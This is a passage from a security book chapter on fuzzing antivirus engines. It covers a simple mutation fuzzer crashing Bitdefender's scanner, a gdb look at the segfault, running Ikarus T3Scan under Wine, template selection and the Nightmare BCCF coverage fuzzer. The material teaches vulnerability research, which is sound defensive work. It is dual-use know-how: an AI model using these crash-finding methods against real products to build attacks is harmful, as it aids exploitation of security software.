 proofs-of-concepts (the mutated input fi le causing the crash) in the output 

directory just created.

The following is the output of this fuzzer when used with Bitdefender Antivirus 

for Unix:

$ python ../simple_av_fuzzerv2.py mysterious_file out/ bdscan
[Mon Apr 20 12:39:05 2015] Starting the fuzzer...
[Mon Apr 20 12:39:05 2015] Running 'ulimit -c unlimited'
[Mon Apr 20 12:39:05 2015] Writing mutated file 
'986c060db72d2ba9050f587c9a69f7d5'
[Mon Apr 20 12:39:07 2015] Running 'exec bdscan
 out/986c060db72d2ba9050f587c9a69f7d5 > /dev/null' returned exit code 0
[Mon Apr 20 12:39:07 2015] Writing mutated file 
'e5e4b5fe275971b9b24307626e8f91f7'
[Mon Apr 20 12:39:10 2015] Running 'exec bdscan 
out/e5e4b5fe275971b9b24307626e8f91f7 > /dev/null' returned exit code 0
[Mon Apr 20 12:39:10 2015] Writing mutated file 
'287968fb27cf18c80fc3dcd5889db136'
[Mon Apr 20 12:39:10 2015] Running 'exec bdscan
 out/287968fb27cf18c80fc3dcd5889db136 > /dev/null' returned exit code 65024
[Mon Apr 20 12:39:10 2015] Writing mutated file 
'01ca5841b0a0c438d3ba3e7007cda7bd'
[Mon Apr 20 12:39:11 2015] Running 'exec bdscan 
out/01ca5841b0a0c438d3ba3e7007cda7bd > /dev/null' returned exit code
65024
[Mon Apr 20 12:39:11 2015] Writing mutated file 
'6bae9a6f1a6cef21fe0d6eb31d1037a5'
[Mon Apr 20 12:39:11 2015] Running 'exec bdscan 
out/6bae9a6f1a6cef21fe0d6eb31d1037a5 > /dev/null' returned exit code
65024
[Mon Apr 20 12:39:11 2015] Writing mutated file 
'2e783b0aaad7e6687d7a61681445cb08'
(...)
[Mon Apr 20 12:39:19 2015] Writing mutated file 
'84652cc61a7f0f2fbe578dcad490c600'
[Mon Apr 20 12:39:22 2015] Running 'exec bdscan 
out/84652cc61a7f0f2fbe578dcad490c600 > /dev/null' returned exit code 139
[Mon Apr 20 12:39:22 2015] CRASH: The sample 
out/84652cc61a7f0f2fbe578dcad490c600 crashed the target. Saving
information...
(…)
[Mon Apr 20 12:51:16 2015] Writing mutated file 
'f6296d601a516278634b44951a67b0d4'
[Mon Apr 20 12:51:19 2015] Running 'exec bdscan 
out/f6296d601a516278634b44951a67b0d4 > /dev/null' returned exit code 139
[Mon Apr 20 12:51:19 2015] CRASH: The sample 
out/f6296d601a516278634b44951a67b0d4 crashed the target. Saving
information...
^C (Press Ctrl+C to stop it)
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Bitdefender Antivirus crashes after a while, and both the core fi les and the 

offending mutated fi le are saved. After this, you can use gdb (or other tools) to

inspect the core fi le and determine the reason for the crash:

$ LANG=C gdb --quiet bdscan f6296d601a516278634b44951a67b0d4.core
Reading symbols from bdscan...(no debugging symbols found)...done.
(…)
Core was generated by 'bdscan out/f6296d601a516278634b44951a67b0d4'.
Program terminated with signal SIGSEGV, Segmentation fault.
#0  0xf30beXXX in ?? ()
(gdb) x /i $pc
=> 0xf30beXXX:    mov    0x24(%ecx,%edx,1),%eax
 (gdb) i r ecx edx
ecx            0x23a80550 598213968
edx            0x9e181c8 165773768
(gdb) x /x $ecx
0x23a80550:  Cannot access memory at address 0x23a80550

It seems that dereferencing the memory pointed at by the expression 

ECX+EDX+0x24 (which resolves to 0x23a80550) is invalid, thus causing the crash.

This is still a very immature fuzzer that does not record much information—

only the most basic: core fi le and proof-of-concept. For example, it does not know 

how to group similar crashes. Also, because it runs the antivirus command-line 

scanner for each fi le serially, it is signifi cantly slower.

In this section, the approach was focused on the Unix platform. The next 

section addresses fuzzing an antivirus that is specifi c to Windows.

Porting Antivirus Kernels to Unix

When the target antivirus runs exclusively in Windows, it is best to port the 

fuzzer, or at least the instrumentation part of the fuzzer, to another operating 

system that is more suitable for automation and fuzzing. For example, fuzz-

ing at a medium to large scale with Windows is problematic nowadays. If you 

want to have small virtual machines where you can run your fuzzers, you are 

restricted to Windows XP targets. Otherwise, you can prepare 10GB to 20GB 

virtual machines with Windows 7. With Windows 8.1 and Windows 10, you

can expect to increase the minimum required disk space for a working virtual 

machine. With Linux and other Unix systems, such as FreeBSD, you can have 

very small virtual machines. In some cases, it is very feasible to allocate 1GB or 

even 512MB of disk space for the virtual machine with the target application 

installed. Naturally, the less disk space that is required for the virtual machine, 

the easier it is to manage. Regarding memory requirements for the virtual 

machine with Windows XP, 1GB to 2GB of RAM is more than enough; in fact, 

512MB of RAM is adequate. With Windows 7, the minimum recommended 

virtual machine memory allocation for fuzzing is 2GB, and the actual amount 
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of RAM that works well in most cases is 4GB. (Using less RAM can cause a 

lot of false positive crashes due to low memory and allocation failures.)

Because of the increasing use of RAM and disk space in each new Windows 

version, it is tempting to try another approach to fuzzing: to fi nd a way to fuzz 

Windows applications from Linux, using Wine (this process is briefl y described 

in Chapter 2). Wine, which stands for “Wine Is Not an Emulator,” is a free and 

open-source implementation of Windows APIs for Linux. It can run Windows 

binaries unmodifi ed on Unix systems, and it also allows you to run Windows-only 

binaries, such as DLLs, from native Unix applications. Wine does not emulate 

the code; instead, it executes the code natively at full speed, while trapping the 

syscalls and interruptions that should be handled in a real Windows operating 

system and handling them and rerouting them to the Linux kernel. Winelib, on 

the other hand, is a toolkit that can be used to write native Unix applications 

using the Windows SDK.

The following two approaches are useful for fuzzing a Windows antivirus 

on Unix systems:

■ Reverse-engineer the core kernel and port with Winelib to Unix.

■ Even simpler, run the independent command-line scanner, if there is any, 

in Linux or Unix using Wine.

The fi rst approach, reverse-engineering the kernel and writing an interface 

for the antivirus kernel specifi c for Windows (for example, Microsoft Security 

Essentials), is the best approach because you do not rely on Wine or other layer 

emulation. However, this approach is very time-consuming. A reverse-engineer 

would need to fi rst reverse-engineer the kernel to discover the interfaces used 

for loading the kernel, launching scans, and so on; discover the appropriate

structures and enumerations; write the unoffi cial SDK; and, fi nally, write the 

tool that would run in a Unix-like environment. Naturally, this approach is 

prohibitive in many cases because of the number of human hours required. For 

long projects it is really a good approach, but for smaller projects it is excessive. 

Instead, you can use an ad hoc approach based on the same idea: rather than 

using Winelib (which requires more work from you), you can use Wine and

run the independent command-line scanner.

Fuzzing with Wine

This section shows you how to use Wine to port the T3Scan Windows

 command-line scanner and run it under Linux. You can download T3Scan 

from http://updates.ikarus.at/updates/update.html.

You need both the t3scan.exe self-extracting program and the t3sigs.vdb

(Virus Database) fi le. After downloading both fi les, run the t3scan.exe program

via Wine by issuing the following command:

$ wine t3scan.exe
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A dialog box shows up, asking whether you want to extract some fi les. Select 

the current directory and click Extract fi les. You can search for the current 

directory in the (usually available) Z: virtual Wine drive. Otherwise, type in 

the “.” directory. Alternatively, you can run the command to extract the tools on 

Windows and copy the resulting fi les, T3Scan.exe and t3.dll, to the current 

directory. In any case, after you have the three fi les, T3Scan.exe, t3.dll, and

the virus database t3sigs.vdb, you can run the following command to test 

whether T3Scan is running:

$ wine T3Scan.exe 
fixme:heap:HeapSetInformation (nil) 1 (nil) 0

Syntax: t3scan [options] <samples>
        t3scan [options] <path>

Options:
    -help | -h | -?            This help
    -filelist | -F <filename>  Read input files from newline-separated 
file <filename>
    -logfile | -l <filename>   Create log file
    -maxfilesize | -m <n>      Max. filesize in MB (default 64MB)
    -n                         No simulation
    -nosubdirs | -d            Do not scan sub directories
    -r <n>                     Max. recursive scans (default 8)
    -vdbpath | -vp <directory> Path to signature database

Special options:
    -noarchives  | -na         Do not scan archive content
    -rtimeout <seconds>        Stop recursively scanning files in an
 archive after <seconds>
    -sa                        Summarize archives: only the final result 
for the archive is reported
    -timeout <seconds>         Stop scanning a single file after
<seconds>
    -version | -ver            Display the program, engine and VDB
version
    -vdbver                    Display VDB version
    -verbose | -v              Increase the output level
    -noadware                  Disable adware/spyware signatures

If you can see the output of the program, T3Scan is correctly working under 

Wine. Now, you need to adapt the simple fuzzer created in the previous sections 

to handle how Wine works. To do so, run a program via the Python function 

os.system(). In the case of a segmentation fault, SIGSEGV, it returns the exit 

code 139; for SIGBUS, it returns the exit code 138, and so on. However, using 

Wine, it is a bit different: to take the exit code, you need to shift it to the right by 

8 bits, and then add 128 to it in order to get the signal code value. Therefore, you 

can keep using the same dictionary (named RETURN_SIGNALS) as before, after
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applying this formula. Add a fl ag to the fuzzer script so it knows whether you 

are running it with Wine. The diff patch for the code is as follows:

$ diff simple_av_fuzzerv2.py simple_av_fuzzer_wine.py
27c27
<   def __init__(self, file_in, folder_out, cmd):
---
>   def __init__(self, file_in, folder_out, cmd, is_wine = False):
32a33,34
>     self.is_wine = is_wine
> 
65c67
<       cmd = "exec %s %s > /dev/null" % (self.cmd, filename)
---
>       cmd = "%s %s" % (self.cmd, filename)
66a69
>       ret = (ret >> 8) + 128
81c84
<   print "Usage:", sys.argv[0], "<filename> <output directory>
<av scan command>"
---
>   print "Usage:", sys.argv[0], "<filename> <output directory>
<av scan command> [--wine]"
84,85c87,88
< def main(file_in, folder_out, cmd):
<   fuzzer = CBasicFuzzer(file_in, folder_out, cmd)
---
> def main(file_in, folder_out, cmd, is_wine=False):
>   fuzzer = CBasicFuzzer(file_in, folder_out, cmd, is_wine)
89c92
<   if len(sys.argv) != 4:
---
>   if len(sys.argv) < 4:
91c94
<   else:
---
>   elif len(sys.argv) == 4:
92a96,97
>   elif len(sys.argv) == 5:
>     main(sys.argv[1], sys.argv[2], sys.argv[3], True)

The lines in bold are the new ones added to the simple fuzzer. After applying 

this patch, you can fuzz the Windows-only Ikarus command-line scanner as I 

did before with the native Bitdefender command-line scanner, as shown in the 

following example: 

$ python simple_av_fuzzer_wine.py s_bio.lzh out "wine32 test/T3Scan.exe" \
         --wine
[Mon Apr 20 18:55:23 2015] Starting the fuzzer...
[Mon Apr 20 18:55:23 2015] Running 'ulimit -c unlimited'
[Mon Apr 20 18:55:27 2015] Writing mutated file 
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'7ae0b2339d57dbc58dd748a426c3358b'
IKARUS - T3SCAN V1.32.33.0 (WIN32)
         Engine version: 1.08.09
         VDB: 20.04.2015 12:09:39 (Build: 91448)
         Copyright ® IKARUS Security Software GmbH 2014.
         All rights reserved.

  Summary:
  ==========================================================
    1 file scanned
    0 files infected

    Used time: 0:02.636
  ==========================================================
[Mon Apr 20 18:55:30 2015] Running 'wine32 test/T3Scan.exe 
out/7ae0b2339d57dbc58dd748a426c3358b' returned exit code 128
[Mon Apr 20 18:55:34 2015] Writing mutated file
'7c774ed262f136704eeed351b3210173'
IKARUS - T3SCAN V1.32.33.0 (WIN32)
         Engine version: 1.08.09
         VDB: 20.04.2015 12:09:39 (Build: 91448)
         Copyright ® IKARUS Security Software GmbH 2014.
         All rights reserved.

  Summary:
  ==========================================================
    1 file scanned
    0 files infected

    Used time: 0:02.627
  ==========================================================
[Mon Apr 20 18:55:37 2015] Running 'wine32 test/T3Scan.exe 
out/7c774ed262f136704eeed351b3210173' returned exit code 128
(…)

Now the fuzzer will work. If you provide it with the right input sample and 

wait for a while, it will eventually crash and save the relevant information to 

the selected output directory.

Problems, Problems, and More Problems

The current model of the fuzzer for antivirus products developed in the previ-

ous section suffers from a number of problems. For example, it runs one entire 

instance for each created fi le. It runs a single process for each created mutation. 

It implements only one (naïve) mutation strategy. It offers no fi ne-grain detail 

about why or how the application crashed. It also mutates only a single input 

template. What if the fi le format parser you are fuzzing is not buggy, or the bug 
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does not manifest itself with the provided input template? I will both discuss 

and address some of these points in the following sections. The fi rst step is to 

select or fi nd good sample fi les to be used as input templates.

Finding Good Templates

Template fi les for fuzzers are the original fi les on which the fuzzers are going 

to base all modifi cations and mutations. In the previous examples, when I ran 

the fuzzer that I created for fuzzing Windows applications (using Wine), I used 

an LZH fi le, and in the very fi rst fuzzer run, I used an ELF fi le. These are only 

two fi le formats from the very long list of formats that are supported by antivi-

rus kernels. The list of fi le formats supported by antivirus products is mostly 

unknown, but some fi le formats are widely supported for almost all antivirus 

kernels. Such fi le formats include, but are not restricted to, compressors and 

archivers, EXE packers, Microsoft Offi ce fi le formats, HTML, JavaScript, VBScript, 

XML, Windows LNK fi les, and more.

Finding good templates for fuzzing antivirus engines not only means fi nd-

ing fi le formats of some sort (for example, Windows PE fi les) and sub-formats 

(such as EXE packers) that the targeted antivirus product or products support 

but also means fi nding good templates for the specifi c format. For instance, if 

you want to fuzz OLE2 containers, such as Microsoft Word or Excel fi les, and 

restrict your template corpus to very basic Word or Excel documents, then you 

will be able to fuzz the features covered by that set (of template corpus) and not 

all the features supported by the product. It is almost impossible to fuzz the 

entire feature-set, but at least you can try to fi nd better samples by using a tech-

nique called corpus distillation. This technique works by doing the following:

■ It runs the fi rst sample fi le against the target program under binary instru-

mentation using tools such as DynamoRIO or Intel PIN and records the

different basic blocks that are executed.

■ Another sample to be tested for quality is executed under instrumenta-

tion as with the previous basic sample and is only considered when new

basic blocks (not executed before) are executed.

■ New samples can be accepted only if they execute basic blocks that were

not executed by the previous samples.

■ If a sample only covers code that was already covered by the previous 

samples, there is no point in using that fi le as a template, because the 

feature-set it is using is already covered by previous samples.

There is only one half out-of-the-box tool I know for doing code coverage, and 

it is called PeachMinset. Go to community.peachfuzzer.com/v3/minset.html

to learn how it works for a previous version of Peach (version 3).
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Basically, PeachMinset functionality consists of two steps:

1. Collecting traces from the sample fi les

2. Computing the minimum set

The fi rst step is a long process because it uses binary instrumentation to 

execute every single template fi le that exists. Computing the minimum set is 

faster because it just needs to compute the best set of fi les covering the most 

features possible.

The following is an example execution of the tool PeachMinset.exe, which 

internally uses the Intel PIN library, against a set of PNG fi les and a tool that 

consumes PNG fi les:

>peachminset -s pinsamples -m minset -t traces bin\pngcheck.exe
%%s

] Peach 3 -- Minset
] Copyright (c) Deja vu Security

[*] Running both trace and coverage analysis
[*] Running trace analysis on 15 samples...
[1:15]   Converage trace of pinsamples\basn0g01.png...done.
[2:15]   Converage trace of pinsamples\basn0g02.png...done.
[3:15]   Converage trace of pinsamples\basn0g04.png...done.
[4:15]   Converage trace of pinsamples\basn0g08.png...done.
[5:15]   Converage trace of pinsamples\basn0g16.png...done.
[6:15]   Converage trace of pinsamples\basn2c08.png...done.
[7:15]   Converage trace of pinsamples\basn2c16.png...done.
[8:15]   Converage trace of pinsamples\basn3p01.png...done.
[9:15]   Converage trace of pinsamples\basn3p02.png...done.
[10:15]   Converage trace of pinsamples\basn3p04.png...done.
[11:15]   Converage trace of pinsamples\basn3p08.png...done.
[12:15]   Converage trace of pinsamples\basn4a08.png...done.
[13:15]   Converage trace of pinsamples\basn4a16.png...done.
[14:15]   Converage trace of pinsamples\basn6a08.png...done.
[15:15]   Converage trace of pinsamples\basn6a16.png...done.

[*] Finished
[*] Running coverage analysis...
[-]  3 files were selected from a total of 15.
[*] Copying over selected files...
[-]   pinsamples\basn3p08.png -> minset\basn3p08.png
[-]   pinsamples\basn3p04.png -> minset\basn3p04.png
[-]   pinsamples\basn2c16.png -> minset\basn2c16.png

[*] Finished

From a set of 15 PNG fi les, it selected only 3 fi les covering the features that 

all 15 fi les do. While fuzzing, reducing the number of template fi les to only the 

most appropriate ones is a time-saving approach that maximizes results.
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Finding Template Files

In some cases, especially when talking about antivirus kernels, you will need 

to fi nd sample fi les that are not common (that is, fi les that you will not discover 

generally on your hard disk). For fi nding such fi les, I can only make some basic 

recommendations:

■ Google—You can search for fi les in indexed web directories using a 

query such as intitle:"index of /" .lzh. With this query, you will 

discover in indexed web directories fi les ending with the .lzh extension 

(a compression fi le format).

■ More Google—The filetype:LZH query can produce interesting results.

It usually works (but you will likely need to remove the results that relate 

to Facebook).

■ VirusTotal—If you have access to the private version of VirusTotal, you 

will discover that there is at least one sample for every fi le format you 

may want to look for.

Another good way of fi nding template fi les for fuzzing antivirus products is 

to actually use their input fi les test suite. Of course, commercial antivirus suites 

do not provide their input fi les test suite, but you can fi nd such a suite for the 

only open-source antivirus scanner ClamAV. You can download the source code 

from GIT (https://github.com/vrtadmin/clamav-devel) and then build it.

The test fi les are not available without compiling ClamAV (as they used to be 

in the past) because they are now dynamically generated. These sample fi les can 

be used as template fi les for fuzzing other antivirus products. They are a good 

starting point, and they cover a lot of fi le formats that most, if not all, antivirus 

kernels support. The currently included test fi les are as follows:

■ samples/av/clam/clam.sis

■ samples/av/clam/clam.odc.cpio

■ samples/av/clam/clam.exe.html

■ samples/av/clam/clam.ole.doc

■ samples/av/clam/clam.d64.zip

■ samples/av/clam/clam.mail

■ samples/av/clam/clam_cache_emax.tgz

■ samples/av/clam/clam.cab

■ samples/av/clam/clam.arj

■ samples/av/clam/clamav-mirror-howto.pdf

■ samples/av/clam/clam.newc.cpio
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■ samples/av/clam/clam.exe.rtf

■ samples/av/clam/clam.7z

■ samples/av/clam/clam.ppt

■ samples/av/clam/clam-v2.rar

■ samples/av/clam/clam.tar.gz

■ samples/av/clam/clam.pdf

■ samples/av/clam/clam.impl.zip

■ samples/av/clam/clam.zip

■ samples/av/clam/clam.bin-le.cpio

■ samples/av/clam/clam.exe.szdd

■ samples/av/clam/clam.chm

■ samples/av/clam/clam-v3.rar

■ samples/av/clam/clam.exe.bz2

■ samples/av/clam/clam.exe.mbox.base64

■ samples/av/clam/clam.tnef

■ samples/av/clam/clam.exe.binhex

■ samples/av/clam/clam.bin-be.cpio

■ samples/av/clam/clam.exe.mbox.uu

■ samples/av/clam/clam.bz2.zip

Another recommendation is to use the PROTOS Genome Test Suite c10-archive. 

This is a big set of modifi ed compressed fi les for the following fi le formats 

(extracted from their web page):

■ ace     91518

■ arj     255343

■ bz2     321818

■ cab     130823

■ gz      227311

■ lha     176631

■ rar     198865

■ tar     40549

■ zip     189833

■ zoo     163595

■ total   1632691
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You can download this set of mutated compressed fi les from

https://www.ee.oulu.fi/research/ouspg/PROTOS_Test-Suite_c10-archive.

Even when this testing suite is public—and it is possibly already included in

many testing suites of antivirus products—you may be surprised by the actual 

number of antivirus products that fail with these fi les. If you take them as 

templates to mutate, you will be even more surprised.

Maximizing Code Coverage

Code coverage is a dynamic analysis technique that is based on instrumenting 

the target application while it is running, to determine the number of differ-

ent instructions, basic blocks, or functions it executed. I briefl y described code 

coverage earlier in this chapter when I discussed the PeachMinset.exe tool,

which actually performs code coverage to determine which set of fi les handles 

the most features. However, using such a tool, you are restricted to the number 

of features that are exercised or covered by the input fi les.

If you do not discover any bugs within that exercised or discovered feature-

set, you need to use one of the following approaches:

■ Find more samples in the hope that they cover new features.

■ Maximize the coverage of the sample fi les by using instrumentation.

I will discuss the second approach. You can maximize code coverage in a 

number of ways. Currently, the more interesting approaches that are being 

either researched or used are as follows:

■ Using symbolic execution and SMT solvers. These tools translate the 

code executed or found in a target binary, get the predicates used 

in the code, abstract them, generate SMT formulas, and let the SMT 

solver find all possible modifications to the inputs that would cover 

more code.

■ Performing random or half-random mutations to template files and 

running them under instrumentation to determine whether the newly 

added changes actually execute more instructions, basic blocks, or 

functions.

The fi rst approach is used more often in research projects than in real life. 

SMT solvers are tools with great potential, but they tend to work only for toy

projects because they require extremely large hardware setups. There are some 

real cases, such as Microsoft SAGE, but, as previously mentioned, they require 

a lot of resources. Today, you should not expect to run either SAGE or a SAGE 

clone at home against real targets with normal templates.
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There is at least one impressive open-source SAGE-like tool: egas, from the 

MoFlow set of tools, which you can fi nd at https://github.com/vrtadmin

/moflow. However, as pointed out by one of its authors, the version of egas

from 2014 was not meant to run with input buffers bigger than 4KB because 

it does not scale well. It would most likely take too long with real targets and 

medium to large inputs. I tried to use this tool against an unnamed antivirus 

product, and after one week of running it and consuming about 4GB of RAM, I 

simply stopped the tool without having achieved a result. However, such tools 

do actually discover real bugs. The problem is that the right setup, as of today, 

is too big for home-based projects, as demonstrated in the test I performed. 

Undoubtedly, egas is a very good research project that actually works, but, for 

now, it is restricted to small inputs.

Other approaches are easier to set up, require fewer resources, and fi nd 

real bugs more quickly. They are based on the concept of maximizing code 

coverage using random or half-random modifi cations. Two more recent tools 

are listed here:

■ American Fuzzy Lop (AFL)—A fuzzer based on the concepts explained in

this section (a code-coverage assisted fuzzer) created by the well-known

security researcher Michal Zalewski

■ Blind Code Coverage Fuzzer (BCCF)—A fuzzer that is part of the

Nightmare fuzzing framework, written by Joxean Koret, one of the authors 

of this book

Both tools work similarly, but they implement different algorithms. The 

following section will discuss BCCF, as you are going to use the Nightmare 

fuzzing suite for testing antivirus applications in the following sections.

Blind Code Coverage Fuzzer

The BCCF tool, part of the Nightmare fuzzing suite, is capable of performing 

the following actions:

■ Maximizing sample fi les—It maximizes code coverage of one original

template fi le.

■ Discovering bugs—It fi nds bugs by covering a different set of features 

not covered by the original template fi le.

■ Discovering new generations—It creates mutated fi les, based on ran-

dom modifi cations made to the original template fi le, which can be used 

as new templates for other mutators in order to fuzz a different set of 

features than the ones covered by the original template fi le with different 

mutation strategies.
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The most interesting features of this tool, or tools like this one, are that they 

can blindly discover new features and maximize the code covered by the original 

templates. This is very useful in many scenarios, such as these:

■ You have only a handful of samples for some specifi c fi le format because 

it is too rare or old (or both) to obtain other samples.

■ The samples you can gather from any source are too similar, always 

covering the same feature-set.

In such cases, BCCF will help. This tool uses either DrCov, a standard 

tool for code coverage from the great open-source project DynamoRIO, or 

a tool for Intel PIN that was contributed to the project. BCCF works by running 

the target under instrumentation with the original template fi le and perform-

ing modifi cations on the original input buffer in order to fi nd modifi cations 

that cover new basic blocks. In short, this is how it works; however, the actual 

process is more complex.

BCCF fi rst tries to measure the average number of basic blocks that are 

executed by the target application with the same input fi le. The minimum, 

maximum, and average are then calculated using a set of different muta-

tion strategies. BCCF then performs random or half-random modifi cations 

and measures how many different basic blocks are executed. If new basic 

blocks are found, then a new generation is created, and this generation is 

used as the new template buffer. Additional modifi cations are applied to 

the new template buffer in order to discover more basic blocks that were 

not previously covered; however, if after a number of iterations for a given 

generation the number of basic blocks executed either is lower than before 

or remains stable, then the generation is dropped, and the previous one is 

used as the new template buffer.

This tool can run forever, or until you stop it, possibly fi nding bugs and 

discovering new generations that can be used as templates for other mutators, 

or it can run for a number of iterations until the fi le is maximized.

The following section will guide you through the installation and setup of 

BCCF for subsequent experiments.

Using Blind Code Coverage Fuzzer

To use BCCF, you need to install the Nightmare fuzzing suite, which is available 

from https://github.com/joxeankoret/nightmare/.

To clone the GIT Repository in a directory of your choice on a Linux machine, 

you can issue the following command:

$ git clone https://github.com/joxeankoret/nightmare.git
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Once you have it cloned, you have the following fi les and directories from 

the Nightmare fuzzing suite:

$ ls /path/to/nightmare
AUTHORS      dependencies  fuzzers     lib      LICENSE.txt  NEWS.txt
README.md   results  samples  TODO.txt COPYING.txt  doc
fuzzersUpd  LICENSE  mutators     presos    README.txt  runtime  tasks

You need to install DynamoRIO, the default binary instrumentation toolkit 

used by BCCF. You can download it for your target operating system from 

https://github.com/DynamoRIO/dynamorio/wiki/Downloads.

For this experiment, version 4.2.0-3 for Linux is used, but you can use 

whatever new version is available, as BCCF simply uses the standard tool 

DrCov. Once you have downloaded it, unpack it in a directory of your choice. 

Then, create a copy of the fi le fuzzers/bcf.cfg.example from the Nightmare

installation directory and name it fuzzers/bcf.cfg. You need to edit this 

fi le to tell BCCF where DynamoRIO is installed and instruct BCCF to use it. At

the very least, you need to add the following lines in the fuzzers/bcf.cfg

confi guration fi le:

#-----------------------------------------------------------------------
# Configuration for the BCF fuzzer
#-----------------------------------------------------------------------
[BCF]
templates-path=/path/to/nightmare/samples/some_dir
# Current options are: DynamoRIO, Pin
bininst-tool=DynamoRIO
# Use *ONLY* iterative algorithm instead of all algorithms?
#iterative=1
# Use *ONLY* radamsa instead of all the implemented algorithms?
#radamsa=1

[DynamoRIO]
path=/path/to/dynamorio/DynamoRIO-Linux-4.2.0-3/

After successfully confi guring the binary instrumentation toolkit and the path 

where it is installed, you need to install the tool named Radamsa. Radamsa is a 

test case generator for robustness testing of a fuzzer (or a mutator). This tool tries 

to infer the grammar of the input fi les and then generate output  according to the 

inferred grammar. Radamsa is the best mutator available today. To download 

and install it, issue the following commands:

$ curl http://haltp.org/download/radamsa-0.4.tar.gz \
| tar -zxvf - && cd radamsa-0.4 && make && sudo make install
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Once you have installed Radamsa, you can test it from the command line by 

doing the following:

sh-4.3$ echo "Testing 123" | radamsa
Testing 2147483649
sh-4.3$ echo "Testing 123" | radamsa
-1116324324324323935052789
-1116324323935052789046909
sh-4.3$ echo "Testing 123" | radamsa
Testing 3
Testing 4294967292949672929496729294967292949672929496729294967292949672
sh-4.3$ echo "Testing 123" | radamsa
Testing3
ing3
ing3 

As you can see, Radamsa is mutating the input string Testing 123 by generat-

ing different strings. Now, it is fi nally time to confi gure BCCF to work with your 

target. This example again uses the Bitdefender antivirus. Add the following 

lines to the fi le bcf.cfg:

#-----------------------------------------------------------------------
# Configuration for BitDefender
#-----------------------------------------------------------------------
[BitDefender]
# Command line to launch it
command=/usr/bin/bdscan --no-list
# Base tube name
basetube=bitdefender
# The tube the fuzzer will use to pull of samples
tube=%(basetube)s-samples
# The tube the fuzzer will use to record crashes
crash-tube=%(basetube)s-crash
# Extension for the files to be fuzzed
extension=.fil
# Timeout for this fuzzer
timeout=90
# Environment
environment=common-environment
# File to load/save the state with BCF fuzzer
#state-file=state.dat
current-state-file=current-state-bd
generation-bottom-level=-25
skip-bytes=7
save-generations=1

[common-environment]
MALLOC_CHECK_=2
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The interesting parts of this confi guration directive for fuzzing the Bitdefender 

antivirus are in bold. You need to specify the command to run, a time-out for the 

instrumentation toolkit, and the environment variables to set for the target. Set 

MALLOC_CHECK_ to 2 in order to catch bugs that the GNU LIBC library knows about.

Now, after successfully installing all the prerequisites and confi guring BCCF, 

you can use the BCCF tool. You can check the command-line usage by simply 

running the bcf.py tool:

nightmare/fuzzers$ ./bcf.py
Usage: ./bcf.py (32|64) <config file> <section> <input_file> <output
directory> [<max iterations>]

The first argument to ./bcf.py is the architecture, 32bit or 64bit.

You can maximize the code covered by the Bitdefender antivirus for some 

sample fi le with the following command:

$ ./bcf.py 32 bcf.cfg BitDefender ../samples/av/sample.lnk out 100
[Wed Apr 22 13:41:04 2015 7590:140284692117312] Selected a maximum size 
of 6 change(s) to apply
[Wed Apr 22 13:41:04 2015 7590:140284692117312] Input file is
../samples/av/041414-18376-01.dmp.lnk
[Wed Apr 22 13:41:04 2015 7590:140284692117312] Recording a total of 10 
value(s) of coverage...
[Wed Apr 22 13:41:15 2015 7590:140284692117312] Statistics: Min 24581, 
Max 24594, Avg 24586.400000, Bugs 0
[Wed Apr 22 13:41:15 2015 7590:140284692117312] Maximizing file in
100 iteration(s)
[Wed Apr 22 13:41:29 2015 7590:140284692117312] GOOD! Found an 
interesting change at 0x0! Covered basic blocks 24604, original maximum 24594

[Wed Apr 22 13:41:29 2015 7590:140284692117312] Writing discovered
generation file 4d120a4e3bc360815a7113bccc642fedfd537479 
(out/generation_4d120a4e3bc360815a7113bccc642fedfd537479.lnk)
[Wed Apr 22 13:41:29 2015 7590:140284692117312] New statistics:
Min 24594, Max 24604, Avg 24599.000000
[Wed Apr 22 13:41:33 2015 7590:140284692117312] GOOD! Found an 
interesting change at 0x0!
Covered basic blocks 24605, original maximum 24604
[Wed Apr 22 13:41:33 2015 7590:140284692117312] Writing discovered
generation file e349166e31de0793af62e6ac11ecda20e8a759bd 
(out/generation_e349166e31de0793af62e6ac11ecda20e8a759bd.lnk)
(…)

BCCF tries to maximize the code covered by the fi le sample.lnk doing a 

maximum of 100 iterations, and it stores the resulting fi le in the directory out. 

After a while, you see a message like the following one:

 [Wed Apr 22 13:47:04 2015 7590:140284692117312] New statistics:
Min 24654, Max 24702, Avg 24678.000000
[Wed Apr 22 13:47:13 2015 7590:140284692117312] Iteration 100, current 
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generation value -2, total generation(s) preserved 8
[Wed Apr 22 13:47:18 2015 7590:140284692117312] File successfully 
maximized from min 24581, max 24594 to min 24654, max 24702
[Wed Apr 22 13:47:18 2015 7590:140284692117312] File 
out/51de04329d92a435c6fd3eef5930982467c9a25f.max written to disk

The original fi le covered a maximum of 24,594 basic blocks, and the maxi-

mized version now covers a total of 24,702 different basic blocks: 108 more 

basic blocks. You can use this maximized fi le as a new template for fuzzing 

your antivirus.

You can also tell the BCCF tool, instead of maximizing the fi le for a number of 

iterations, to do it forever, until you stop it by simply removing the last argument:

$ ./bcf.py 32 bcf.cfg BitDefender ../samples/av/041414-18376-01.dmp.lnk out
[Wed Apr 22 11:45:42 2015 28514:139923369727808] Selected a maximum size
of 7 change(s) to apply
[Wed Apr 22 11:45:42 2015 28514:139923369727808] Input file is
../samples/av/041414-18376-01.dmp.lnk
[Wed Apr 22 11:45:42 2015 28514:139923369727808] Recording a total of 
10 value(s) of coverage...
[Wed Apr 22 11:45:51 2015 28514:139923369727808] Statistics: Min 24582, 
Max 24588, Avg 24584.750000, Bugs 0
[Wed Apr 22 11:45:51 2015 28514:139923369727808] Fuzzing...
[Wed Apr 22 11:48:00 2015 28514:139923369727808] GOOD! Found an
interesting change at 0x0!
Covered basic blocks 24589, original maximum 24588
[Wed Apr 22 11:48:00 2015 28514:139923369727808] Writing discovered
generation file 064b4e7b6ec94a8870f6150d8a308111bb3b313e 
(out/generation_064b4e7b6ec94a8870f6150d8a308111bb3b313e.lnk)
[Wed Apr 22 11:48:00 2015 28514:139923369727808] New statistics:
Min 24588, Max 24589, Avg 24588.500000
[Wed Apr 22 11:48:03 2015 28514:139923369727808] GOOD! Found an
interesting change at 0xa5e! Covered basic blocks 24596,
original maximum 24589

[Wed Apr 22 11:48:03 2015 28514:139923369727808] Writing discovered
generation file d5f30e9a01109eb87363b2e6cf1807c000d5b598 
(out/generation_d5f30e9a01109eb87363b2e6cf1807c000d5b598.lnk)
[Wed Apr 22 11:48:03 2015 28514:139923369727808] New statistics:
Min 24589, Max 24596, Avg 24592.500000
(…)
[Wed Apr 22 13:39:42 2015 28514:139923369727808] Iteration 1915, current 
generation value -10, total generation(s) preserved 7
[Wed Apr 22 13:39:45 2015 28514:139923369727808] GOOD! Found an
